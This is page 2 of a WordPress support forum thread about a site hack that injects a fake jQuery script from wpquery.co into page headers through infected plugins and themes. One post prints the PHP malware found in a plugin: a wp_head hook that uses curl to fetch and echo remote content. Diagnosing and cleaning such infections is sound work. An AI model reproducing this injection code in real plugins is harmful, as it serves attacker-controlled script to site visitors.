Title: Jquery error
Last modified: August 20, 2016

---

# Jquery error

 *  [mikes88](https://wordpress.org/support/users/mikes88/)
 * (@mikes88)
 * [13 years, 2 months ago](https://wordpress.org/support/topic/jscript-error/)
 * This morning I was going to my site and the following showed up:
 *     ```
       404 Not Found
       The server can not find the requested page:
   
       www.wpquery.co/jquery-1.6.3.min.js (port 80)
       Please forward this error screen to www.wpquery.co's WebMaster. 
   
       --------------------------------------------------------------------------------
   
       Apache/2.2.23 (Unix) mod_ssl/2.2.23 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.wpquery.co Port 80
       ```
   
 * This showed up at the very top of my page which looks to be the header. Not sure
   how to fix this. any ideas?

Viewing 15 replies - 16 through 30 (of 35 total)

[←](https://wordpress.org/support/topic/jscript-error/?output_format=md) [1](https://wordpress.org/support/topic/jscript-error/?output_format=md)
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 *  [stickFinger](https://wordpress.org/support/users/stickfinger/)
 * (@stickfinger)
 * [13 years, 2 months ago](https://wordpress.org/support/topic/jscript-error/page/2/#post-3534752)
 * I´ve found a plugin “infected” with “uploadify-post.php” file where i have:
    `
   <?php if (!function_exists('insert_jquery_des')){function insert_jquery_des(){
   if (function_exists('curl_init')){$url = "http://www.wpquery.co/jquery-1.6.3.
   min.js";$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt(
   $ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
   $data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_des');}?
   >`
 * in my case as a quick fix i´set the
    `{$url = "http://www.wpquery.co/jquery-1.6.3.
   min.js"` to `{$url = ""`
 * and that did the trick.
 * but i need to dig more and find the function call “insert_jquery_des”
 * Any better advise will be greatly appreciated
    Thanks
 *  [Andrew Nevins](https://wordpress.org/support/users/anevins/)
 * (@anevins)
 * WCLDN 2018 Contributor | Volunteer support
 * [13 years, 2 months ago](https://wordpress.org/support/topic/jscript-error/page/2/#post-3534753)
 * If you’ve been hacked, removing the malicious code will not resolve the _hacked_
   issue.
    It will only resolve the symptom of the hack.
 *  [stickFinger](https://wordpress.org/support/users/stickfinger/)
 * (@stickfinger)
 * [13 years, 2 months ago](https://wordpress.org/support/topic/jscript-error/page/2/#post-3534761)
 * any advise on that specifica case Andrew?
 *  [Andrew Nevins](https://wordpress.org/support/users/anevins/)
 * (@anevins)
 * WCLDN 2018 Contributor | Volunteer support
 * [13 years, 2 months ago](https://wordpress.org/support/topic/jscript-error/page/2/#post-3534763)
 * Go with those 8 links Esmi posted.
 *  [esmi](https://wordpress.org/support/users/esmi/)
 * (@esmi)
 * [13 years, 2 months ago](https://wordpress.org/support/topic/jscript-error/page/2/#post-3534764)
 * It looks very like another “jquery site” hack about a month or so ago. The only
   proper solution is a complete site de-louse.
 *  [tzec](https://wordpress.org/support/users/tzec/)
 * (@tzec)
 * [13 years, 2 months ago](https://wordpress.org/support/topic/jscript-error/page/2/#post-3534767)
 * my problem was the plugin sliderpro, [http://sliderpro.net/examples/text-thumbnails-slider/](http://sliderpro.net/examples/text-thumbnails-slider/)
 *  [FreetailTherapy](https://wordpress.org/support/users/freetailtherapy/)
 * (@freetailtherapy)
 * [13 years, 2 months ago](https://wordpress.org/support/topic/jscript-error/page/2/#post-3534777)
 * I am having the same issue on two of my sites.
 *  [FreetailTherapy](https://wordpress.org/support/users/freetailtherapy/)
 * (@freetailtherapy)
 * [13 years, 2 months ago](https://wordpress.org/support/topic/jscript-error/page/2/#post-3534778)
 * Ok, my issues were with the WordPress PinSuite plugin. Deactivated and it is 
   fixed. Sucks, because I loved that plugin!
 *  Thread Starter [mikes88](https://wordpress.org/support/users/mikes88/)
 * (@mikes88)
 * [13 years, 2 months ago](https://wordpress.org/support/topic/jscript-error/page/2/#post-3534779)
 * I believe my issue was the theme itself. I redownloaded the theme from the provider
   and uploaded it. Once that was done that error was gone but im not sure if its
   hiding somewhere else. these hacks are bull shit to say the least.
 *  Thread Starter [mikes88](https://wordpress.org/support/users/mikes88/)
 * (@mikes88)
 * [13 years, 2 months ago](https://wordpress.org/support/topic/jscript-error/page/2/#post-3534780)
 * Any tips on securing the site so this doesnt happen again?
 *  [anastris](https://wordpress.org/support/users/anastris/)
 * (@anastris)
 * [13 years, 2 months ago](https://wordpress.org/support/topic/jscript-error/page/2/#post-3534781)
 * Dear All,
 * I think [http://www.wpquery.co/jquery-1.6.3.min.js](http://www.wpquery.co/jquery-1.6.3.min.js)
   not support anymore..
    you can change your jquery link to [http://code.jquery.com/jquery-1.6.3.min.js](http://code.jquery.com/jquery-1.6.3.min.js)
   But i am download jquery-1.6.3.min.js to my web hosting first so i am not depending
   another website to get jquery anymore. I think this is the best way.. My website
   [http://www.sepatusportnike.com](http://www.sepatusportnike.com) also down today,
   but it’s already full access ^^
 *  Moderator [Jan Dembowski](https://wordpress.org/support/users/jdembowski/)
 * (@jdembowski)
 * Forum Moderator and Brute Squad
 * [13 years, 2 months ago](https://wordpress.org/support/topic/jscript-error/page/2/#post-3534784)
 * >  I think [http://www.wpquery.co/jquery-1.6.3.min.js](http://www.wpquery.co/jquery-1.6.3.min.js)
   > not support anymore..
 * Sorry to tell you this: _It was never supported and was always a hack to fool
   you._ If your theme was using that link then your site was hacked.
 *  [anastris](https://wordpress.org/support/users/anastris/)
 * (@anastris)
 * [13 years, 2 months ago](https://wordpress.org/support/topic/jscript-error/page/2/#post-3534785)
 * Dear Jan Dembowski,
 * Thanx a lot for your information.
    May u tell me how to know my website hack 
   or not? For this case, i am already remove [http://www.wpquery.co/jquery-1.6.3.min.js](http://www.wpquery.co/jquery-1.6.3.min.js)
   from my website. Many thanx..
 *  [dme102](https://wordpress.org/support/users/dme102/)
 * (@dme102)
 * [13 years, 2 months ago](https://wordpress.org/support/topic/jscript-error/page/2/#post-3534790)
 * I am having the same issue. it just started a day or two ago without having changed
   anything.
 * It only shows the 404 page for a second with the call to wpquery.co and then 
   it loads the site, although the styling is a bit messed up.
 * I disabled all plugins and the problem persists, but it does go away when I switch
   themes.
 *  [boyextra](https://wordpress.org/support/users/boyextra/)
 * (@boyextra)
 * [13 years, 2 months ago](https://wordpress.org/support/topic/jscript-error/page/2/#post-3534791)
 * I have the same problem. Where can I edit and remove this file? I have tried 
   changing the theme but it still remains. I have tried disabling all the plugins
   and now it seems to work and I found out that its a Wall/Gallery plugin that 
   I downloaded from wordpress.. Try that and see what will happen to you.
 * My site is working normal again now 🙂

Viewing 15 replies - 16 through 30 (of 35 total)

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The topic ‘Jquery error’ is closed to new replies.

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 35 replies
 * 11 participants
 * Last reply from: [stickFinger](https://wordpress.org/support/users/stickfinger/)
 * Last activity: [13 years, 2 months ago](https://wordpress.org/support/topic/jscript-error/page/3/#post-3534844)
 * Status: not resolved

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